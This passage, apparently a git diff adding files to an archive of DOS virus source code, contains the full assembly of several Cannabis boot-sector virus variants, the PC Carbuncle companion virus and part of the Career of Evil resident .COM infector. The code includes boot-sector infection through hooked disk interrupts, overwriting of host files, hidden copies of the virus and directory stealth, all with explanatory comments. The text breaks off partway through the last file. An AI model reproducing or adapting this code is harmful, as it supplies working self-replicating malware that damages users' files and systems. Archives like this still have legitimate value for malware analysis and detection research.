want to proceed (y' + db '/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' + db 0Dh, 0Ah, 'Error !!!' + db 07h, 24h +data_12 db 0EBh + db 3Ch, 90h + db 'Cannabis' + db 0 + db 02h, 02h, 01h, 00h, 02h, 70h + db 00h,0D0h, 02h,0FDh, 02h, 00h + db 09h, 00h, 02h, 00h + db 34 dup (0) + db 0FAh, 33h,0C0h, 8Eh,0D8h, 8Eh + db 0D0h,0BCh, 00h, 7Ch,0FBh,0BBh + db 0B1h, 7Ch,0A1h, 4Ch, 00h, 3Bh + db 0C3h, 74h, 34h,0A3h, 31h, 7Dh + db 0A1h, 4Eh, 00h,0A3h, 33h, 7Dh + db 1Eh,0B8h, 10h, 00h, 8Eh,0D8h + db 0A1h, 13h, 03h, 48h, 48h,0A3h + db 13h, 03h, 1Fh,0B1h, 06h,0D3h + db 0E0h, 2Dh,0C0h, 07h, 8Eh,0C0h + db 0B9h, 00h, 02h,0BEh, 00h, 7Ch + db 8Bh,0FEh,0FCh,0F3h,0A4h, 89h + db 1Eh, 4Ch, 00h, 8Ch, 06h, 4Eh + db 00h + db 0F6h, 06h, 6Ch, 04h, 07h, 75h + db 08h + db 0BEh, 35h, 7Dh,0E8h, 0Eh, 00h +loc_6: + jmp short loc_6 +loc_7: + mov si,data_22e + call sub_2 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + int 19h ; Bootstrap loader + +; +; SUBROUTINE +; + +sub_2 proc near +loc_8: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_9 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_8 + +loc_ret_9: + retn +sub_2 endp + + push ax + push ds + cmp ah,4 + jae loc_10 ; Jump if above or = + cmp ah,2 + jb loc_10 ; Jump if below + test dl,0FEh + jnz loc_10 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + test byte ptr ds:data_3e,1 + jnz loc_10 ; Jump if not zero + call sub_3 +loc_10: + pop ds + pop ax + jmp dword ptr cs:data_20e + +; +; SUBROUTINE +; + +sub_3 proc near + push cx + push bx + push di + push si + push es + mov di,2 +loc_11: + mov ah,2 + mov al,1 + mov bx,7E00h + mov cx,1 + push cs + pop es + pushf ; Push flags + call dword ptr cs:data_20e + jnc loc_12 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr cs:data_20e + dec di + jnz loc_11 ; Jump if not zero + jmp short loc_13 + db 90h +loc_12: + mov si,data_23e + mov di,data_18e + push cs + pop ds + cld ; Clear direction + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_13 ; Jump if zero + mov si,data_24e + mov di,data_19e + mov cx,33h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,7C00h + mov cx,1 + pushf ; Push flags + call dword ptr cs:data_20e +loc_13: + pop es + pop si + pop di + pop bx + pop cx + retn +sub_3 endp + + db 0, 0, 0, 0 + db 0Dh, 0Ah, 'Hey man, I don', 27h, 't' + db ' wanna work. I', 27h, 'm too sto' + db 'ned right now...' + db 7 + db 0Dh, 0Ah, 0 + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press a key when ready', 0Dh, 0Ah + db 70 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/c/CANNAB2.ASM b/c/CANNAB2.ASM new file mode 100755 index 0000000..1ebaf28 --- /dev/null +++ b/c/CANNAB2.ASM @@ -0,0 +1,278 @@ + +PAGE 59,132 + +; +; +; CANNAB2 +; +; Created: 7-Nov-91 +; Passes: 5 Analysis Options on: none +; +; + +data_3e equ 43Fh +data_14e equ 5Ch +data_15e equ 78h +data_24e equ 7C0Bh ;* +data_25e equ 7C11h ;* +data_26e equ 7C13h ;* +data_27e equ 7C15h ;* +data_28e equ 7C16h ;* +data_29e equ 7C18h ;* +data_30e equ 7C20h ;* +data_31e equ 7C3Eh ;* +data_32e equ 7C49h ;* +data_33e equ 7C50h ;* +data_34e equ 7DABh ;* +data_35e equ 7DAFh ;* +data_36e equ 7E0Bh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +cannab2 proc far + +start: + mov dx,13Dh + dec byte ptr ds:data_14e + js loc_3 ; Jump if sign=1 + mov dx,155h + call sub_1 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_4 ; Jump if not equal + mov dl,0 + mov ah,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_2 ; Jump if carry Set + mov dx,1E6h + call sub_1 + mov cx,1 + mov bx,offset data_20 + mov ax,301h + cwd ; Word to double word + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_ret_4 ; Jump if carry=0 +loc_2: + mov dx,offset data_16+0B7h ; ('') + +cannab2 endp + +; +; SUBROUTINE +; + +sub_1 proc near +loc_3: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_4: + retn +sub_1 endp + +data_16 db 'Usage: A:', 0Dh, 0Ah + db '$' + db 'You are about to install a VIRUS' + db ' on your diskette!!!', 0Dh, 0Ah, 'I' + db 'nsert a formatted 360K diskette ' + db 'into the drive.', 0Dh, 0Ah, 'Are' + db ' you sure you want to proceed (y' + db '/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' + db 0Dh, 0Ah, 'Error !!!' + db 7 +data_19 db 24h +data_20 db 0EBh + db 3Ch, 90h + db 'CANNABIS' + db 00h, 02h, 02h, 01h, 00h, 02h + db 70h, 00h + db 0D0h, 02h,0FDh, 02h, 00h, 09h + db 00h, 02h, 00h + db 34 dup (0) + db 0FAh,0FCh, 33h,0C0h, 8Eh,0D8h + db 8Eh,0D0h,0BCh, 00h, 7Ch,0BBh + db 58h, 7Dh,0A1h, 4Ch, 00h, 3Bh + db 0C3h, 74h, 2Dh,0A3h,0ABh, 7Dh + db 0A1h, 4Eh, 00h,0A3h,0ADh, 7Dh + db 0BFh, 00h, 04h, 8Bh, 45h, 13h + db 48h, 89h, 45h, 13h,0B1h, 06h + db 0D3h,0E0h, 2Dh,0C0h, 07h, 8Eh + db 0C0h,0B9h, 00h, 02h, 8Bh,0F4h + db 8Bh,0FCh,0F3h,0A4h, 89h, 1Eh + db 4Ch, 00h, 8Ch, 06h, 4Eh, 00h + db 33h,0C0h, 16h, 07h + db 0BBh, 78h, 00h, 36h,0C5h, 37h + db 1Eh, 56h, 16h + db 53h + db 0BFh, 3Eh, 7Ch,0B9h, 0Bh, 00h + db 0F3h,0A4h, 06h, 1Fh,0C6h, 45h + db 0FEh, 0Fh, 8Bh, 0Eh, 18h, 7Ch + db 88h, 4Dh,0F9h, 89h, 47h, 02h + db 0C7h, 07h, 3Eh, 7Ch,0FBh,0CDh + db 13h, 72h, 48h, 33h,0C0h, 8Bh + db 0Eh, 13h, 7Ch, 89h, 0Eh, 20h + db 7Ch,0A1h, 16h, 7Ch,0D1h,0E0h + db 40h,0A3h, 50h, 7Ch,0A3h, 49h + db 7Ch,0A1h, 11h, 7Ch,0B1h, 04h + db 0D3h,0E8h, 01h, 06h, 49h, 7Ch + db 0BBh, 00h, 05h,0A1h, 50h, 7Ch + db 0E8h, 58h, 00h, 72h, 1Ch, 81h + db 3Fh, 49h, 4Fh, 75h, 09h, 81h + db 7Fh, 20h, 4Dh, 53h, 74h, 22h + db 0EBh + db 0Dh +loc_7: + cmp word ptr [bx],4249h + jne loc_8 ; Jump if not equal + cmp word ptr [bx+20h],4249h + je loc_9 ; Jump if equal +loc_8: + mov si,data_35e + call sub_3 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_9: + mov bx,700h + mov cx,3 + mov ax,word ptr ds:[7C49h] + +locloop_10: + call sub_2 + jc loc_8 ; Jump if carry Set + inc ax + add bx,offset data_19 + loop locloop_10 ; Loop if cx > 0 + + mov ch,byte ptr ds:[7C15h] + mov dl,0 + mov bx,word ptr ds:[7C49h] + mov ax,0 +;* jmp far ptr loc_1 ;* + db 0EAh, 00h, 00h, 70h, 00h + +; +; SUBROUTINE +; + +sub_2 proc near + push ax + push cx + div byte ptr ds:[7C18h] ; al,ah rem = ax/data + cwd ; Word to double word + inc ah + shr al,1 ; Shift w/zeros fill + adc dh,0 + xchg ah,al + xchg ax,cx + mov ax,201h + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop cx + pop ax + +loc_ret_11: + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near +loc_12: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_11 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_12 +sub_3 endp + + push ax + push ds + cmp ah,2 + jne loc_14 ; Jump if not equal + test dl,0FEh + jnz loc_14 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + test byte ptr ds:data_3e,1 + jnz loc_14 ; Jump if not zero + push cx + push bx + push di + push si + push es + mov ax,201h + mov bx,7E00h + mov cx,1 + push cs + push cs + pop es + pop ds + pushf ; Push flags + push cs + call sub_4 + jc loc_13 ; Jump if carry Set + mov si,data_36e + mov di,data_24e + mov cl,33h ; '3' + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,7C00h + mov cl,1 + pushf ; Push flags + push cs + call sub_4 +loc_13: + pop es + pop si + pop di + pop bx + pop cx +loc_14: + pop ds + pop ax + +; +; SUBROUTINE +; + +sub_4 proc near + jmp dword ptr cs:data_34e + db 0, 0, 0, 0 + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press a key when ready', 0Dh, 0Ah + db 10 dup (0) + db 55h,0AAh +sub_4 endp + + +seg_a ends + + + + end start diff --git a/c/CANNAB3.ASM b/c/CANNAB3.ASM new file mode 100755 index 0000000..c6d1a17 --- /dev/null +++ b/c/CANNAB3.ASM @@ -0,0 +1,280 @@ + +PAGE 59,132 + +; +; +; CANNAB3 +; +; Created: 6-Jun-92 +; Passes: 5 Analysis Options on: none +; +; + +data_3e equ 43Fh +data_14e equ 5Ch +data_15e equ 78h +data_23e equ 7C0Bh ;* +data_24e equ 7C11h ;* +data_25e equ 7C13h ;* +data_26e equ 7C15h ;* +data_27e equ 7C16h ;* +data_28e equ 7C18h ;* +data_29e equ 7C20h ;* +data_30e equ 7C3Eh ;* +data_31e equ 7C49h ;* +data_32e equ 7C50h ;* +data_33e equ 7DAFh ;* +data_34e equ 7DB3h ;* +data_35e equ 7E0Bh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +cannab3 proc far + +start: + mov dx,13Dh + dec byte ptr ds:data_14e + js loc_3 ; Jump if sign=1 + mov dx,155h + call sub_1 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_4 ; Jump if not equal + mov dl,0 + mov ah,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_2 ; Jump if carry Set + mov dx,1E6h + call sub_1 + mov cx,1 + mov bx,offset data_20 + mov ax,301h + cwd ; Word to double word + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_ret_4 ; Jump if carry=0 +loc_2: + mov dx,offset data_16+0B7h ; ('') + +cannab3 endp + +; +; SUBROUTINE +; + +sub_1 proc near +loc_3: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_4: + retn +sub_1 endp + +data_16 db 'Usage: A:', 0Dh, 0Ah + db '$' + db 'You are about to install a VIRUS' + db ' on your diskette!!!', 0Dh, 0Ah, 'I' + db 'nsert a formatted 360K diskette ' + db 'into the drive.', 0Dh, 0Ah, 'Are' + db ' you sure you want to proceed (y' + db '/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' + db 0Dh, 0Ah, 'Error !!!' + db 7 +data_19 db 24h +data_20 db 0EBh + db 3Ch, 90h + db 'CANNABIS' + db 00h, 02h, 02h, 01h, 00h, 02h + db 70h, 00h + db 0D0h, 02h,0FDh, 02h, 00h, 09h + db 00h, 02h, 00h + db 34 dup (0) + db 0FAh,0FCh, 33h,0C0h, 8Eh,0D8h + db 8Eh,0D0h,0BCh, 00h, 7Ch,0BBh + db 58h, 7Dh,0A1h, 4Ch, 00h, 3Bh + db 0C3h, 74h, 2Dh,0A3h,0AFh, 7Dh + db 0A1h, 4Eh, 00h,0A3h,0B1h, 7Dh + db 0BFh, 00h, 04h, 8Bh, 45h, 13h + db 48h, 89h, 45h, 13h,0B1h, 06h + db 0D3h,0E0h, 2Dh,0C0h, 07h, 8Eh + db 0C0h,0B9h, 00h, 02h, 8Bh,0F4h + db 8Bh,0FCh,0F3h,0A4h, 89h, 1Eh + db 4Ch, 00h, 8Ch, 06h, 4Eh, 00h + db 33h,0C0h, 16h, 07h + db 0BBh, 78h, 00h, 36h,0C5h, 37h + db 1Eh, 56h, 16h + db 53h + db 0BFh, 3Eh, 7Ch,0B9h, 0Bh, 00h + db 0F3h,0A4h, 06h, 1Fh,0C6h, 45h + db 0FEh, 0Fh, 8Bh, 0Eh, 18h, 7Ch + db 88h, 4Dh,0F9h, 89h, 47h, 02h + db 0C7h, 07h, 3Eh, 7Ch,0FBh,0CDh + db 13h, 72h, 48h, 33h,0C0h, 8Bh + db 0Eh, 13h, 7Ch, 89h, 0Eh, 20h + db 7Ch,0A1h, 16h, 7Ch,0D1h,0E0h + db 40h,0A3h, 50h, 7Ch,0A3h, 49h + db 7Ch,0A1h, 11h, 7Ch,0B1h, 04h + db 0D3h,0E8h, 01h, 06h, 49h, 7Ch + db 0BBh, 00h, 05h,0A1h, 50h, 7Ch + db 0E8h, 58h, 00h, 72h, 1Ch, 81h + db 3Fh, 49h, 4Fh, 75h, 09h, 81h + db 7Fh, 20h, 4Dh, 53h, 74h, 22h + db 0EBh + db 0Dh +loc_7: + cmp word ptr [bx],4249h + jne loc_8 ; Jump if not equal + cmp word ptr [bx+20h],4249h + je loc_9 ; Jump if equal +loc_8: + mov si,data_34e + call sub_3 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_9: + mov bx,700h + mov cx,3 + mov ax,word ptr ds:[7C49h] + +locloop_10: + call sub_2 + jc loc_8 ; Jump if carry Set + inc ax + add bx,offset data_19 + loop locloop_10 ; Loop if cx > 0 + + mov ch,byte ptr ds:[7C15h] + mov dl,0 + mov bx,word ptr ds:[7C49h] + mov ax,0 +;* jmp far ptr loc_1 ;* + db 0EAh, 00h, 00h, 70h, 00h + +; +; SUBROUTINE +; + +sub_2 proc near + push ax + push cx + div byte ptr ds:[7C18h] ; al,ah rem = ax/data + cwd ; Word to double word + inc ah + shr al,1 ; Shift w/zeros fill + adc dh,0 + xchg ah,al + xchg ax,cx + mov ax,201h + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop cx + pop ax + +loc_ret_11: + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near +loc_12: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_11 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_12 +sub_3 endp + + push ax + push ds + cmp ah,2 + jne loc_14 ; Jump if not equal + test dx,0FFFEh + jnz loc_14 ; Jump if not zero + or ch,ch ; Zero ? + jnz loc_14 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + test byte ptr ds:data_3e,1 + jnz loc_14 ; Jump if not zero + push cx + push bx + push di + push si + push es + mov ax,201h + mov bx,7E00h + mov cl,1 + push cs + push cs + pop es + pop ds + pushf ; Push flags + push cs + call sub_4 + jc loc_13 ; Jump if carry Set + mov si,data_35e + mov di,data_23e + mov cl,33h ; '3' + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,7C00h + mov cl,1 + pushf ; Push flags + push cs + call sub_4 +loc_13: + pop es + pop si + pop di + pop bx + pop cx +loc_14: + pop ds + pop ax + +; +; SUBROUTINE +; + +sub_4 proc near + jmp dword ptr cs:data_33e + db 0, 0, 0, 0 + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press a key when ready', 0Dh, 0Ah + db 00h, 00h, 00h, 00h, 00h, 00h + db 55h,0AAh +sub_4 endp + + +seg_a ends + + + + end start diff --git a/c/CANNAB4.ASM b/c/CANNAB4.ASM new file mode 100755 index 0000000..9e3a288 --- /dev/null +++ b/c/CANNAB4.ASM @@ -0,0 +1,264 @@ +;**************************************************************************** +;* Cannabis version 4 +;* +;* Compile with TASM 2.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +BASE equ 7C00 + + org 0 + +begin: jmp start + + org 3 + + db 'CANNABIS' ;BIOS parameter block + dw 0200 + db 2 + dw 1 + db 2 + dw 112d + dw 720d + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + + org 3E + +start: cld ;initialise segments + stack + cli + xor ax,ax + mov ss,ax + mov ds,ax + mov sp,7C00 + + mov bx,offset ni13+BASE ;check int13 vector + mov ax,ds:[4*13] + cmp ax,bx + je installed + + mov ds:[oi13+BASE],ax ;save old vector + mov ax,ds:[4*13+2] + mov di,400 + mov ds:[oi13+2+BASE],ax + + mov ax,ds:[di+13] + dec ax + mov cl,6 + mov ds:[di+13],ax + + shl ax,cl + sub ax,07C0 + + mov cx,0200 ;copy virus to top + mov di,sp + mov es,ax + mov si,sp + rep movsb + + mov ds:[4*13+2],es ;set new vector + mov ds:[4*13],bx + +installed: xor ax,ax + push ss + pop es + mov bx,0078 + lds si,ss:[bx] ;ds:si = int 1E (=table ptr) + push ds + push si + push ss + push bx + mov cx,0bh + mov di,7C3Eh ;move table -> ds:7C3E + rep movsb + push es + pop ds + mov cx,ds:[7C18] + mov byte ptr [di-2], 0fh + mov [bx+2],ax + mov [di-7],cl + + mov word ptr [bx],7C3E + sti + int 13 ;reset disk + jc error + mov cx,ds:[7C13] ;number of sectors + mov ds:[7C20],cx + mov ax,ds:[7C16] ;calculate root-entry (FAT) + shl ax,1 + inc ax + mov ds:[7C49],ax ;save value + mov ds:[7C50],ax + + mov ax,ds:[7C11] ;calculate IO.SYS entry + mov cl,4 + shr ax,cl + add ds:[7C49],ax + + mov ax,ds:[7C50] + mov bx,0500 + call readsector + jc error + cmp word ptr [bx], 'OI' ;IO.SYS ? + jne ibmtest + cmp word ptr [bx+20], 'SM' ;MSDOS.SYS ? + je continue + jmp short error + +ibmtest: cmp word ptr [bx], 'BI' ;IBMBIO.COM ? + jne error + cmp word ptr [bx+20], 'BI' ;IBMDOS.COM ? + je continue + +error: mov si,offset errortxt+BASE ;print error-message + call print + xor ax,ax + int 16 ;wait for keypress + pop si ;restore int 1E vector + pop ds + pop [si] + pop [si+2] + int 19 ;boot again... + +continue: mov cx,3 ;at ds:0700 + mov bx,0700 + mov ax,ds:[7C49] + +nextsec: call readsector + jc error + add bx,0200 + inc ax + loop nextsec + + mov dl,0 + mov ch,ds:[7C15] ;go to begin IO.SYS + mov bx,ds:[7C49] + mov ax,0 + db 0EA, 0, 0, 70, 0 + + +;**************************************************************************** +;* Read a sector +;**************************************************************************** + +readsector: push cx + push ax + + div byte ptr ds:[7C18] ;al=sec/9 (0-160) ah=sec. (0-8) + cwd + inc ah ;ah=1-9 (sector) + shr al,1 ;al=0-80 (track) + adc dh,0 ;dh=0/1 (head) dl=0 (drive) + xchg ah,al + mov cx,0201 + xchg ax,cx + int 13 + + pop ax + pop cx +return: ret + + +;**************************************************************************** +;* Print message +;**************************************************************************** + +print: lodsb + or al,al + jz return + mov ah,0Eh + mov bx,7 + int 10 + jmp short print + + +;**************************************************************************** +;* Int 13 handler +;**************************************************************************** + +ni13: push ax + push ds + cmp ah,4 ;funktion 0-4? + ja cancel + cmp ch,1 + ja cancel + test dx,0FFFEh ;drive A: or B: ? (head=0) + jnz cancel + xor ax,ax + mov ds,ax + +infect: push cx + push bx + push di + push si + push es + mov ax,0201 ;read bootsector at 7E00 + mov bx,7E00 + mov cx,1 + push cs + push cs + pop ds + pop es + pushf + push cs + call orgint13 + jc exit + + mov di,7C0Bh ;move BPB to virus + mov cl,33 + mov si,7E0Bh + rep movsb + + mov ax,0301 ;write virus to boot-sector + mov bx,7C00 + mov cx,1 + pushf + push cs + call orgint13 + +exit: pop es + pop si + pop di + pop bx + pop cx + +cancel: pop ds + pop ax +orgint13: jmp dword ptr cs:[oi13+BASE] ;original vector + + +;**************************************************************************** +;* Data +;**************************************************************************** + +oi13 dw ?,? ;original int 13 vector + +errortxt db 0Dh, 0Ah, 'Non-System disk or disk error' + db 0Dh, 0Ah, 'Replace and press a key when ready' + db 0Dh, 0Ah, 0 + + + org 01FEh + + db 55, 0AA + +cseg ends + end begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/CARBUNC.ASM b/c/CARBUNC.ASM new file mode 100755 index 0000000..67777e2 --- /dev/null +++ b/c/CARBUNC.ASM @@ -0,0 +1,244 @@ +;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14 +;The PC Carbuncle is a "toy" virus which will search out every .EXEfile +;in the current directory, rename it with a .CRP [for Crypt] extent and +;create a batchfile. The batchfile calls the PC Carbuncle [which has +;copied itself to a hidden file in the directory], renames the host +;file to its NORMAL extent, executes it, hides it as a .CRP file once +;again and issues a few error messages. The host files function +;normally. Occasionaly, the PC Carbuncle will copy itself to a few +;of the host .CRP files, destroying them. The majority of the host +;files in the PC Carbuncle-controlled directory will continue to function, +;in any case. If the user discovers the .CRP and .BAT files and is smart +;enough to delete the batchfiles and rename the .CRP hosts to their +;normal .EXE extents, the .CRPfiles which have been infected by the +;virus will re-establish the infection in the directory. +;--Urnst Kouch, Crypt Newsletter 14 + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h +begin: + jmp vir_start + db '.NstdM$' ; name + +exit: + mov ah, 4Ch ; exit to DOS + int 21h +vir_start: + + mov ah,2Ch ; DOS get system time. + int 21h ; <--alter values to suit + cmp dh,10 ; is seconds > 10? + jg batch_stage ; if so, be quiet (jg) + ; with the virus counter, this feature arrests the + ; overwriting infection so + ; computing isn't + ; horribly disrupted + ; when the virus is about + mov al,5 ; infect only a few files + mov count,al ; by establishing a counter + + +start: mov ah,4Eh ; <----find first file of +recurse: + mov dx,offset crp_ext ; matching filemask, "*.crp" + int 21h ; because PC CARBUNCLE has + ; in most cases, already created + ; them. + jc batch_stage ; jump on carry to + ; spawn if no .CRPfiles found + + + mov ax,3D01h ; open .CRPfile r/w + mov dx,009Eh + int 21h + + mov bh,40h ; + mov dx,0100h ; starting from beginning + xchg ax,bx ; put handle in ax + mov cl,2Ah ; to write: PC CARBUNCLE + int 21h ; write the virus + mov ah,3Eh ; close the file + int 21h + + dec count ; take one off the count + jz exit ; and exit when a few files + ; are overwritten with virus + mov ah,4Fh ; find next file + jmp Short recurse ; and continue until all .CRP + ; files converted to PC + ; CARBUNCLE's + + ret + +batch_stage: + mov dx,offset file_create ; create file, name of + mov cx,0 ; CARBUNCL.COM + mov ah,3ch + int 21h + ; Write virus body to file + mov bx,ax + mov cx,offset last - offset begin + mov dx,100h + mov ah,40h + int 21h + + ; Close file + mov ah,3eh ; ASSUMES bx still has file handle + int 21h + + ; Change attributes + mov dx,offset file_create ; of created file to + mov cx,3 ;(1) read only and (2) hidden + mov ax,4301h + int 21h + + + + ; get DTA + mov ah, 1Ah ; where to put dta + lea DX, [LAST+90H] + int 21h + mov ah, 4Eh ; find first .EXE file +small_loop: ; to CARBUNCL-ize + lea dx, [vict_ext] ; searchmask, *.exe + int 21h + jc exit + mov si, offset last + 90h + 30d ; save name + mov di, offset orig_name + mov cx, 12d + rep movsb + + mov si, offset orig_name ; put name in bat buffer + mov di, offset bat_name + mov cx, 12d + rep movsb + + cld + mov di, offset bat_name + mov al, '.' + mov cx, 9d + repne scasb + push cx + cmp word ptr es:[di-3],'SU' ; useless rubbish + jne cont + mov ah, 4fh + jmp small_loop + +cont: mov si, offset bat_ext ;fix bat + mov cx, 3 + rep movsb + pop cx + mov si, offset blank ;further fix bat + rep movsb + + mov si, offset orig_name ; fill rename + mov di, offset rename_name + mov cx, 12d + rep movsb + + mov di, offset rename_name + mov al, '.' + mov cx, 9 + repne scasb + push cx + mov si, offset moc_ext ; fix rename + mov cx, 3 + rep movsb + pop cx + mov si, offset blank ; further fix rename + rep movsb ; copy the string over + + mov di, offset orig_name + mov al, ' ' + mov cx, 12 + repne scasb + mov si, offset blank ; put a few blanks + rep movsb + + mov si, offset orig_name ;fill in the created batfile + mov di, offset com1 + mov cx, 12d + rep movsb + + mov si, offset orig_name ; more fill + mov di, offset com2 + mov cx, 12d + rep movsb + + mov si, offset orig_name ; copy more fill + mov di, offset com3 + mov cx, 12d + rep movsb + mov si, offset blank +point_srch: dec di ; get rid of an annoying + cmp byte ptr [di], 00 ; period + jne point_srch + rep movsb + + mov si, offset rename_name ; copy more fill + mov di, offset moc1 + mov cx, 12d + rep movsb + + mov si, offset rename_name ; copy still more fill + mov di, offset moc2 + mov cx, 12d + rep movsb + + mov dx, offset orig_name ; rename original file + mov di, offset rename_name ; to new .CRP name + mov ah, 56h + int 21h + + mov dx, offset bat_name ; create batfile + xor cx, cx + mov ah, 3Ch + int 21h + + mov bx, ax + mov cx, (offset l_bat - offset s_bat) ; length of batfile + mov dx, offset s_bat ; write to file + mov ah, 40h + int 21h + + mov ah, 3eh ; close batfile + int 21h +next_vict: mov ah, 4fh ; find the next host + jmp small_loop ; and create more + ; "controlled" .CRPs +count db 90h ;<---count buffer, bogus value +crp_ext db "*.crp",0 ;<---- searchmask for PC CARBUNCLE +file_create db "CARBUNCL.COM",0 ;<---CARBUNCL shadow virus +bat_ext db "BAT" +Vict_ext db "*.exe",0 ;<----searchmask for hosts to CARBUNCL-ize +moc_ext db "CRP" ; new extent for CARBUNCL-ized hosts +blank db " " ;blanks for filling batchfile +S_bat: + db "@ECHO OFF",0Dh,0Ah ; <--batchfile command lines + db "CARBUNCL",0Dh,0Ah ; call PC CARBUNCL shadow virus + db "RENAME " +moc1 db 12 dup (' '),' ' +com1 db 12 dup (' '),0dh,0ah +com2 db 12 dup (' '),0dh,0ah + db "RENAME " +com3 db 12 dup (' '),' ' +moc2 db 12 dup (' '),0dh,0ah + db "CARBUNCL",0Dh,0Ah,01Ah ;<---put dumb message here +L_bat: ; format "ECHO Fuck you lamer" +note: db "PC CARBUNCLE: Crypt Newsletter 14",0 + +bat_name db 12 dup (' '),0 ; on the fly workspace +rename_name db 12 dup (' '),0 +orig_name db 12 dup (' '),0 +Last: ;<---- end of virus place-holder + + +code ends + end begin + + + diff --git a/c/CAROEVIL.ASM b/c/CAROEVIL.ASM new file mode 100755 index 0000000..9aeab59 --- /dev/null +++ b/c/CAROEVIL.ASM @@ -0,0 +1,323 @@ +;CAREER OF EVIL virus: a simple memory resident .COMinfector +;which infects on execution and file open. CAREER OF EVIL also +;has limited stealth, subtracting its file size from infected files +;by diddling the file control block on "DIR" functions BEFORE the +;user sees the result onscreen. The virus recognizes infected +;files by setting a peculiar time-stamp in the unreported seconds +;field. Anti-virus measures are complicated when the virus is +;in memory by its ability to infect on file open. Scanning or +;operating any utilities which open files for inspection will +;spread the virus to every file examined in this manner. +;For best results, assemble CAREER OF EVIL with the A86 assembler. +;CAREER OF EVIL: prepared by Urnst Kouch for CRYPT NEWSLETTER 15, +;MAY-JUNE 1993. + + + code segment + assume cs:code, ds:code, es:code, ss:nothing + + org 0100h + + + +begin: call virus ; + +host db ' RottenUK' ; dummy place-holder where + ; virus stashes original 5-bytes + ; from host file +db 'Career of Evil',0 + + +virus: pop bp + push bp + add bp,0FEFDh + + mov ax,0ABCDh ; put 0ABCDh into ax + int 21h ; for installation check + ; (also critical in directory stealth) + jnb failed ; if virus is already there, + ; will branch + cli ; to virus exit when in memory + mov ax,3521h + int 21h ; get interrupt vector + mov w [bp+offset oldint21],bx ; es:bx points to + mov w [bp+offset oldint21+2],es ; interrupt handler + + mov al,1Ch + int 21h + + + mov si,ds + std + lodsb + cld + mov ds,si + + xor bx,bx + mov cx,pargrph ; virus size in paragraphs to allot-->cx + mov ax,[bx+3] ; an off hand way of doing things + sub ax,cx ; + + mov [bx+3],ax + sub [bx+12h],cx + mov es,[bx+12h] + + push cs + pop ds + + mov di,100h + mov si,bp + add si,di + mov cx,size + rep movsb ; start copying virus into memory + + push es + pop ds + mov ax,2521h + mov dx,offset newint21 ; set int 21 route through virus + int 21h + +failed: push cs + push cs + 